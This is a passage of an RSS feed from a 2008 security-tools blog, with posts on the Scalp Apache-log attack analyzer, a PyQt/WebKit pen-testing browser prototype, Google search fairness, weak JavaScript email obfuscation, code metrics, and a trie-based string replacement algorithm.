ago&lt;/a&gt;, I released a first version of a tool named Scalp. The tool analyzed
the Apache HTTPD logs in order to examine if there were attacks or not. The
attack detection is based on the &lt;a href="https://svn.php-ids.org/svn/trunk/lib/IDS/default_filter.xml"&gt;rules&lt;/a&gt;
provided by the &lt;a href="http://php-ids.org"&gt;PHP-IDS&lt;/a&gt; project.&lt;/p&gt;
&lt;p&gt;Today, I took time to finalize a bit more the Python version of Scalp. The
&lt;a href="http://apache-scalp.googlecode.com/files/scalp-0.4.py"&gt;version 0.4&lt;/a&gt;
can now be downloaded on the &lt;a href="http://code.google.com/p/apache-scalp/"&gt;project web page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This version includes a couple of features such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Output in HTML, XML or TEXT format&lt;/li&gt;
&lt;li&gt;Specify the output directory&lt;/li&gt;
&lt;li&gt;Using a random sample for scanning the log file&lt;/li&gt;
&lt;li&gt;Trying to decode the potential attack vectors&lt;/li&gt;
&lt;li&gt;Returning the lines that couldn't be examined&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And then, with some other options that already existed in the previous
versions,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Select a time frame&lt;/li&gt;
&lt;li&gt;Select classes of potential attacks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;the tool seems to approach a final version.&lt;/p&gt;
&lt;p&gt;I won't add more into it since I want to keep it simple and quite fast (I
may add optimization if I find some). Also, the C++ version is on its way and
mostly done with same amount of options, the code is checkable using the google
repository, but I still have to work on options and time-frame
specification.&lt;/p&gt;
&lt;p&gt;Scalp 0.4:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://rgaucher.info/pub/rgaucher.info-Aug-2008.log_scalp_Tue-16-Sep-2008.html"&gt;HTML
report example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://apache-scalp.googlecode.com/files/scalp-0.4.py"&gt;Download
the python script&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=hMtdZz11"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=VubeI0v8"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=VubeI0v8" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=0cI6FSgP"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=0cI6FSgP" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=XZkOoUSI"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=0FPRfffk"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Xb1DGS2p"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=Xb1DGS2p" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=hMYquqT0"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/WtKlGucoLc0" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/09/16/Scalp-04%3A-apache-log-based-attack-analyzer-updated#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/09/16/Scalp-04%3A-apache-log-based-attack-analyzer-updated#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/125</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/09/16/Scalp-04%3A-apache-log-based-attack-analyzer-updated</feedburner:origLink></item>
    
  <item>
    <title>PyQt and WebKit integration: unexpected limitation [fixed]</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/lzSENZRU4i4/PyQt-and-WebKit-integration%3A-unexpected-limitation</link>
    <guid isPermaLink="false">urn:md5:c962ba840696953612c9a3dcf61f8071</guid>
    <pubDate>Wed, 10 Sep 2008 09:27:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>Python</category><category>security</category><category>Tech</category><category>wtf!</category>    
    <description>&lt;p&gt;For the one that don't know Qt, this is a huge and mature framework for
developing &lt;em&gt;GUI &amp;amp; more&lt;/em&gt; on different platform (to read,
multi-platform). I already did some development using Qt and C++ (especially
when I was working at the &lt;a href="http://www.gerad.ca/en/"&gt;GERAD&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;As, with &lt;a href="http://tssci-security.com/"&gt;Marcin&lt;/a&gt;, we wanted to have
a look at some technologies that involved a browser etc. I decided to look at
Qt and the &lt;a href="http://labs.trolltech.com/page/Projects/Internet/WebKit"&gt;almost-fresh WebKit
integration&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The integration of WebKit in a framework like Qt, allows the developer to
embed supposedly in a easy manner a browser that supports the basic web
technologies which are HTML, CSS and JavaScript (it seems that Flash is going
to be supported soon, and anyway, one can write its own plugin in order to
interact with some specific content) in its application.&lt;/p&gt;
&lt;p&gt;And indeed it is easy... I used &lt;a href="http://www.riverbankcomputing.co.uk/software/pyqt/intro"&gt;PyQt&lt;/a&gt; in order to
develop a very simple prototype and see what we are able to do with this new
technology. As I know already Python and Qt, it was easy to me to start and be
kinda effective. So, in few hours of work, documentation reading and trying to
understand why and how the Python version of Qt was using such or such thing
compared to the C++ version, I got this workable browser that allows dynamic
JavaScript injection through a console, view the source and a simple encoding
converter (click on the image to see the full screen-shot):&lt;/p&gt;
&lt;br /&gt;
&lt;div style="display: block; margin-left: auto; margin-right: auto;"&gt;&lt;a href="http://rgaucher.info/beta/sheep.png"&gt;&lt;img style="border:2px solid black" src="http://rgaucher.info/pub/shep-mini.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;At this point, I was actually very excited, less than 500 lines of Python in
order to create that... was kinda worth few days of work in order to create a
useful tool: the Swiss Army Knife of the Pen-Test.&lt;/p&gt;
&lt;p&gt;My next and logic step was to extend the current tool in order to have the
tamper-data like capabilities (eg. being able to hijack the HTTP request and
then tampering the GET/POST data).&lt;/p&gt;
&lt;p&gt;And here come the problems... it's apparently not possible to get the
current request then reply when using the WebKit widget in Qt (QWebView). I
tried to use a delegate QNetworkAccessManager in order to overload the POST/GET
request since this object is use to set the proxies etc. but nothing... I think
they just didn't open this possibility for some reason.&lt;/p&gt;
&lt;p&gt;Oh well, I then stop developing this prototype and will try to contact Qt
experts/developers just to figure out if there is no other way to do it. I
thought of a solution which would be to have my own HTTP manager using QHttp in
order to do the request, get the response etc. and then sending the content to
the browser; this would be great in a webapps scanner, but for the use that I
wanted with, that would create huge limitation for the user-interaction and
especially for Ajax applications. So, the prototype stays here until I find a
solution or Qt open their network management under the QWebView widget...&lt;/p&gt;
&lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Fixed:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;An update to let you know that I actually fixed the problem, it was really
stupid from me, but I should really care when the method are virtual or not
before overloading it or not :/ shame on me!&lt;/p&gt;
&lt;p&gt;So now, I am able to have a firefox/tamper-data/firebug in one tool :)&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=222Otaje"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=UdGi1nvj"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=UdGi1nvj" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=GoWbH9s9"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=GoWbH9s9" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=5bkGuN2H"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=EhvpMRbB"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=T8C4aken"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=T8C4aken" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=YLW0hUsE"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/lzSENZRU4i4" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/09/10/PyQt-and-WebKit-integration%3A-unexpected-limitation#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/09/10/PyQt-and-WebKit-integration%3A-unexpected-limitation#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/124</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/09/10/PyQt-and-WebKit-integration%3A-unexpected-limitation</feedburner:origLink></item>
    
  <item>
    <title>How fair should Google Search be?</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/PJ3gbw17tCQ/How-fair-should-Google-search-be</link>
    <guid isPermaLink="false">urn:md5:6a7ed38c7999056587c90e6ad2a95b01</guid>
    <pubDate>Thu, 04 Sep 2008 12:15:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>Google</category>    
    <description>&lt;p&gt;This is the question that is raising in my mind right now... If you search
for &amp;quot;Chrome&amp;quot; with the &lt;a href="http://www.google.com/search?ie=UTF-8&amp;amp;q=Chrome"&gt;Google search engine&lt;/a&gt;,
you will find their browser in the third position. Okay, it's not the first
one, but i'm just wondering how possible is it for the brand-new-shiny-buggy
browser to be that well referenced in a &amp;quot;classical&amp;quot; manner.&lt;/p&gt;
&lt;p&gt;Of course, this is under the google.com domain which (the main page) is
&lt;a href="http://en.wikipedia.org/wiki/PageRank"&gt;PageRank&lt;/a&gt; 10, but well, I'm
really wondering if this was a natural process or if something happened. First
of, we can see that, using the search engine, the related pages of
google.com/chrome are the different search engines... How come? Shouldn't it be
more like Mozilla, Opera... Microsoft IE... ? For instance, if I look for the
&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=related:http://yahoo.com/finance"&gt;related
pages of yahoo.com/finance&lt;/a&gt; I will find financial websites such as NASDAQ,
etc.&lt;/p&gt;
&lt;p&gt;Anyway, if Google can control their search engine like that (and of course
it's easy for them to do so...), what is the impact on the fairness of their
search engine? The PR seems to be okay as long as there is not business like
interference in the process...&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=KiEVSKEd"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=1jGpK60F"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=1jGpK60F" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=y7eBbFOL"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=y7eBbFOL" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=D8TFSIba"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=hTxl8orO"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=ghDGgcGR"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=ghDGgcGR" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=ZrqPoFVb"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/PJ3gbw17tCQ" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/09/04/How-fair-should-Google-search-be#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/09/04/How-fair-should-Google-search-be#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/123</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/09/04/How-fair-should-Google-search-be</feedburner:origLink></item>
    
  <item>
    <title>And so you wanted to protect your email address on your website...</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/oFcqWsMHjKs/And-so-you-wanted-to-protect-your-email-address-on-your-website</link>
    <guid isPermaLink="false">urn:md5:e32cbdae39a938c4110afe21ad401cb4</guid>
    <pubDate>Wed, 13 Aug 2008 19:43:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>fuckthespam</category><category>JavaScript</category><category>Spam</category>    
    <description>&lt;p&gt;People start thinking of how to prevent spam when they're building website,
that's a fact and that's very good indeed. The only problem is when they don't
actually know how a bot would handle the HTML page...&lt;/p&gt;
&lt;p&gt;For instance, I was surfing on &lt;a href="http://qik.com"&gt;qik.com&lt;/a&gt; and saw
this little piece of JavaScript in order to protect the exposure of the email
address:&lt;/p&gt;
&lt;pre&gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
//&amp;lt;![CDATA[
  document.write('&amp;lt;a href=&amp;quot;mailto:XXXX@qik.com&amp;quot;\
    title=&amp;quot;Send us an email!&amp;quot;&amp;gt;XXXX@qik.com&amp;lt;\/a&amp;gt;');
//]]&amp;gt;
&amp;lt;/script&amp;gt;
&lt;/pre&gt;
&lt;p&gt;As the readers of this blog may know, the bot process is really easy....
download the HTML page (crawling) and then trying to extract the email address
(parsing). This is just obvious that a bot wouldn't bother with the CDATA tag
or because this is embedded in a JavaScript code, if I would have to do a bot,
nonetheless I would have a very lossy parsing in order to gather as much
information as possible, but I wouldn't care about &amp;quot;in which context am I?&amp;quot;.
Also, according to some testing I'm doing, I can tell you have if this was a
URL, the Google bots would get them...&lt;/p&gt;
&lt;p&gt;So please, obfuscate just a bit this... some example can be found on
&lt;a href="http://fuckthespam.com/?info#hiding_email"&gt;fuckthespam.com&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=c7IN1jhu"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=C2O0j9Vz"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=C2O0j9Vz" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=55Id8rQV"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=55Id8rQV" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Gebimbpy"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=cwFR1lOk"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=P6QbLVDM"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=P6QbLVDM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=pht2QuFl"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/oFcqWsMHjKs" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/08/13/And-so-you-wanted-to-protect-your-email-address-on-your-website#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/08/13/And-so-you-wanted-to-protect-your-email-address-on-your-website#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/122</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/08/13/And-so-you-wanted-to-protect-your-email-address-on-your-website</feedburner:origLink></item>
    
  <item>
    <title>Why the "line of code" is indeed a good metric</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/YtUFToQ0bMo/Why-the-line-of-code-is-indeed-a-good-metric</link>
    <guid isPermaLink="false">urn:md5:535b8c523cb09f979a540b0bbb4ddd4c</guid>
    <pubDate>Sun, 10 Aug 2008 15:20:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>C</category><category>code quality</category><category>Evaluation</category><category>metrics</category><category>secure programming</category><category>security</category><category>source code scanners</category><category>static analysis</category><category>testing</category>    
    <description>&lt;p&gt;When I first learned about source code metrics, I was amazed about people
using the line of code for doing comparison with software. It was for me a lack
of imagination.&lt;/p&gt;
&lt;p&gt;At the beginning of the week, I started a small and fast experiment:
extracting metrics from the &lt;a href="https://samate.nist.gov/index.php/SATE"&gt;SATE 2008&lt;/a&gt; test cases. This
experiment focuses on function-wise properties and therefore, I have to extract
for each functions a couple of metrics:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;McCabe's &lt;a href="http://en.wikipedia.org/wiki/Cyclomatic_complexity"&gt;cyclomatic complexity&lt;/a&gt;
which computes the code complexity, this is indeed a good metric to estimate
the difficulty that a human will have to understand a given piece of code (very
important for security related problems)&lt;/li&gt;
&lt;li&gt;Line of Code&lt;/li&gt;
&lt;li&gt;Line of Comments&lt;/li&gt;
&lt;li&gt;Number of local variables&lt;/li&gt;
&lt;li&gt;Number of parameters (which represents the coercion between the function
and the whole program)&lt;/li&gt;
&lt;li&gt;Number of function call&lt;/li&gt;
&lt;li&gt;Number of function that are ``sources''&lt;/li&gt;
&lt;li&gt;Number of function that are ``sinks''&lt;/li&gt;
&lt;li&gt;Number of C standards functions (obviously, only for C test cases)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At first the the line of code was implemented cause it's an easy one to
compute and it also gives an important value if we want to normalize the other
metrics. We also decided to introduce the number of ``source/sinks'' for
studying input validation weaknesses later on...&lt;/p&gt;
&lt;p&gt;Anyway, after running some statistics on the output results, I was amazed by
observing that the &lt;a href="http://en.wikipedia.org/wiki/Pearson_product-moment_correlation_coefficient"&gt;Pearson
correlation coefficient&lt;/a&gt; between McCabe and Line of Code was never less than
0.90 (which could be compare to 90% as a correlation rate) (but I have to say
that there is huge limitations in the parsers we are using for extracting
information, for instance, the C is not pre-processed etc.). This result is
only valid for C test cases, actually, the average of observed correlation in
Java test case is around 0.60...&lt;/p&gt;
&lt;p&gt;Of course further statistical analysis will be necessary to conclude
anything on this subject, but if we were unlucky with the test cases selection,
this may have been a source of the problem, but I don't think we were.
Actually, this seems quite logical to think that these metrics a related, the
longer the code is, the more complex in term of tests, loops etc. it can be,
there is indeed more chance that a longer code contains more cycles :)&lt;/p&gt;
&lt;p&gt;Oh well, I'll keep writing about especially since I expect to get results
pretty soon...&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=L1EO9lwg"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=B2u7EGbs"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=B2u7EGbs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=AqNM3atG"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=AqNM3atG" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=LZ7RHx77"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=b061JTWv"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=dwkKqndV"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=dwkKqndV" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=DV8thAqB"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/YtUFToQ0bMo" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/08/10/Why-the-line-of-code-is-indeed-a-good-metric#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/08/10/Why-the-line-of-code-is-indeed-a-good-metric#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/121</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/08/10/Why-the-line-of-code-is-indeed-a-good-metric</feedburner:origLink></item>
    
  <item>
    <title>Trie based fast and massive replacement (Algorithm)</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/AjRikYh9_40/Trie-based-fast-and-massive-replacement-Algorithm</link>
    <guid isPermaLink="false">urn:md5:a645a643be4e3ac72ceac5dbdf012c34</guid>
    <pubDate>Mon, 28 Jul 2008 14:10:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>Algorithm</category><category>C</category><category>Optimization</category><category>Scalp</category><category>Tech</category>    
    <description>&lt;p&gt;While working on the C++ version of &lt;a href="http://code.google.com/p/apache-scalp/"&gt;scalp&lt;/a&gt;, I had to do massive simple
transformations of a given text, ie. replacements of words by others.&lt;/p&gt;
&lt;p&gt;Since the main way to do this (a loop which does a replacement at the time),
is very inefficient, I decided to find something faster. I then came up with a
tree based replacement algorithm; I believe this is kinda famous but I never
heard about such algorithm, it basically uses a &lt;a href="http://www.cs.mcgill.ca/~cs251/OldCourses/1997/topic7/#NON%20COMPACT"&gt;non
compact&lt;/a&gt; &lt;a href="http://www.nist.gov/dads/HTML/trie.html"&gt;trie&lt;/a&gt; in order
to have an efficient search of the current word.&lt;/p&gt;
&lt;p&gt;The main algorithm is very simple and similar to a state machine where the
state depends on the next character in the trie. For example, if we want to to
replace the words: &amp;quot;ba&amp;quot;, &amp;quot;me&amp;quot;, &amp;quot;mp&amp;quot; in a text, the trie will be this following
one:&lt;/p&gt;
&lt;p&gt;&lt;img style="float:right; margin: 15px; border:1px solid #444;" src="http://rgaucher.info/pub/trie-example.dot.png" alt="" /&gt;&lt;/p&gt;
&lt;p&gt;The idea is then to iterate over all the characters in the text, and for
each letter determines whether this is a possible word to replace or not
(simply by looking if the letter is a child of the trie root). Then, we iterate
over the next letters in the text in order to see if the sequence of letters
are an actual word to replace or not (every time, the same methodology is used:
look in the children at the current state of our iterator in the trie).&lt;/p&gt;
&lt;p&gt;This algorithm seems more efficient than the simple replace used in a loop
since we will perform a descent in a tree and therefore replace a linear search
by a logarithm one.&lt;/p&gt;
&lt;br /&gt;
&lt;p&gt;I ran a little statistical comparison between two algorithms: mine and the
simple loop one. The test bed is quite simple and uses randomly generated text
which contains the words to replace with a certain density. In order to create
statistics, I made all the sizes varying and &lt;strong&gt;I aggregated the results
from the same dictionary size&lt;/strong&gt;. So, for a given size of a dictionary
(let's say, 200 words to replace), a text has been generated with a density
that vary from 0.1 to 0.5 (from 10% to 50% of the words in the text will be
words to replace) and finally, the size of the text vary from 25 to 200 words
(and words are randomly generated to be from a size 5 to 32).&lt;br /&gt;
As I said previously, the results from a same dictionary size has been
aggregated since I've seen practically that the result mainly depends on the
dictionnary size (it also obviously depends on the size of the text, but as
this is a constant for the 2 algorithm, I can compute the mean of the different
data to extract the average gain for a particular dictionary size).&lt;/p&gt;
&lt;p&gt;Finally, here is the curve that shows the logarithm progress of the gain
compared to the classical method):&lt;/p&gt;
&lt;p style="text-align: center"&gt;&lt;img src="http://rgaucher.info/pub/gain_of_heapreplace_compared_to_a_simple_replace.png" alt="" /&gt;&lt;/p&gt;
&lt;p&gt;The reference replace implementation which has been compared to the one I
developed is the following (STL/C++ implementation):&lt;/p&gt;
&lt;pre&gt;
void str_replace(string&amp;amp; where, const string&amp;amp; what, const string&amp;amp; by) {
  for (string::size_type i  = where.find(what);
                                 i != string::npos;
                                 i  = where.find(what, i + by.size()))
    where.replace(i, what.size(), by);
}
&lt;/pre&gt;
and has been used M times (M is the size of the dictionary).&lt;br /&gt;
I also decided to release a very-early version of this replace algorithm (which
is not template yet): &lt;a href="http://code.google.com/p/apache-scalp/source/browse/trunk/stree/stree.h"&gt;stree.h&lt;/a&gt;
which use the &lt;a href="http://www.aei.mpg.de/~peekas/tree/"&gt;great STL friendly
tree structure from Kasper Peeters&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
As for data information, the here is the code I used to generate the
dictionary, and text with a certain density: &lt;a href="http://code.google.com/p/apache-scalp/source/browse/trunk/stree/genRandText.cpp"&gt;
genRandData.cpp&lt;/a&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=0HfWsfE1"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=u0iN7gz3"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=u0iN7gz3" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=hBFEhAD1"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=hBFEhAD1" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=GIp9NeQB"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=J33fYzhF"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Qw4zEtdl"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=Qw4zEtdl" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Tefckh7g"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/AjRikYh9_40" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/07/28/Trie-based-fast-and-massive-replacement-Algorithm#comment-form</comments>
